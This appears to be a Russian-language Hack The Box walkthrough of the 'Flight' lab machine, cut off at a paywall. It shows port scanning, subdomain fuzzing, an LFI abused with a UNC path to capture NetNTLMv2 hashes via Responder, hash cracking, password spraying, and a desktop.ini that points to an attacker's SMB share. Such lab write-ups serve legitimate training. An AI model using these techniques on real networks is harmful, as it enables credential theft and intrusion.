Содержание статьи
Наша цель — получить права суперпользователя на тренировочной машине Flight с площадки Hack The Box. Машина оценена как сложная.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.187 flight.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
В результатах сканирования видим много открытых портов, что типично для Windows:
- 53 — служба DNS;
- 80 (HTTP) — веб‑сервер Apache 2.4.52;
- 88 — служба Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP/RPC/EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM;
- 9389 — веб‑службы AD DS.
Анонимная аутентификация нигде не доступна, поэтому идем на веб‑сервер.
Точка входа
На стартовой странице ничего найти не удалось, поэтому необходимо расширить область тестирования. Самый очевидный способ — перебором поискать скрытые домены и каталоги. Я это делаю при помощи сканера ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-u
— URL; -
-fs
— фильтр, исключающий страницы по размеру; -
-H
— HTTP-заголовок.
Место перебора помечаем словом FUZZ.
Команда получается следующая:
ffuf -u 'http://flight.htb' -w subdomains-top1million-110000.txt -H "Host: FUZZ.flight.htb" -t 256 --fs 7069
Находим новый поддомен и вносим его в файл /
.
10.10.11.187 flight.htb school.flight.htb
Обрати внимание, что загружаемая страница указывается в качестве параметра view
. Проверим, нет ли здесь уязвимости LFI, и укажем в параметре view
файл index.
.
http://school.flight.htb/index.php?view=index.php
Видим на странице какой‑то код на PHP. Стоит ознакомиться с ним поближе.
Мы узнаем путь к файлам сайта, а также используемые для обработки параметра фильтры. Так как не фильтруется последовательность /
, мы можем заставить веб‑сервер обратиться к любому удаленному серверу. При этом Windows попытается авторизоваться на указанном ресурсе, и мы получим NetNTLMv2-хеш пароля пользователя веб‑сервера. Чтобы ловить такие хеши, запускаем на локальном хосте утилиту Responder.
sudo responder -v -I tun0
Теперь указываем свой адрес и ловим хеш.
http://school.flight.htb/index.php?view=//10.10.14.16/share
Отправляем хеш на перебор, в качестве режима hashcat (параметр -m
) указываем 5600, соответствующий хешу NetNTLMv2.
hashcat -m 5600 5600.hash rockyou.txt
Проверяем учетные данные на примере службы SMB с помощью CrackMapExec.
crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13'
Учетные данные верны, поэтому получаем доступные сетевые ресурсы и список пользователей.
crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --users --shares
Точка опоры
Давай подключимся к общему ресурсу Web
и просмотрим его содержимое.
impacket-smbclient flight.htb/svc_apache:'S@Ss!K@*t13'@10.10.11.187
Ничего, кроме каталогов сайтов, там не находим. Однако текущая учетная запись — служебная, и у пользователя, скорее всего, есть еще и основная. Попробуем зайти в другие учетки с тем же паролем.
crackmapexec smb 10.10.11.187 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success
Получаем еще одну подконтрольную учетную запись. Теперь проверяем, какие общие каталоги доступны новому пользователю.
crackmapexec smb 10.10.11.187 -u 'S.Moon' -p 'S@Ss!K@*t13' --shares
Для записи доступен каталог Shared
. Больше ничего найти не удалось, ресурс оказался пустым. Тогда возникла идея похитить NetNTLMv2-пароли другим способом. В этот раз будем использовать файл desktop.
, в котором параметр IconResource
указывает на наш внешний ресурс.
[.ShellClassInfo]
IconResource=\\10.10.14.51\share
Любой пользователь, который просмотрит этот каталог, автоматически обратится к нашему ресурсу и при этом предоставит учетные данные.
impacket-smbclient flight.htb/S.Moon:'S@Ss!K@*t13'@10.10.11.187
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»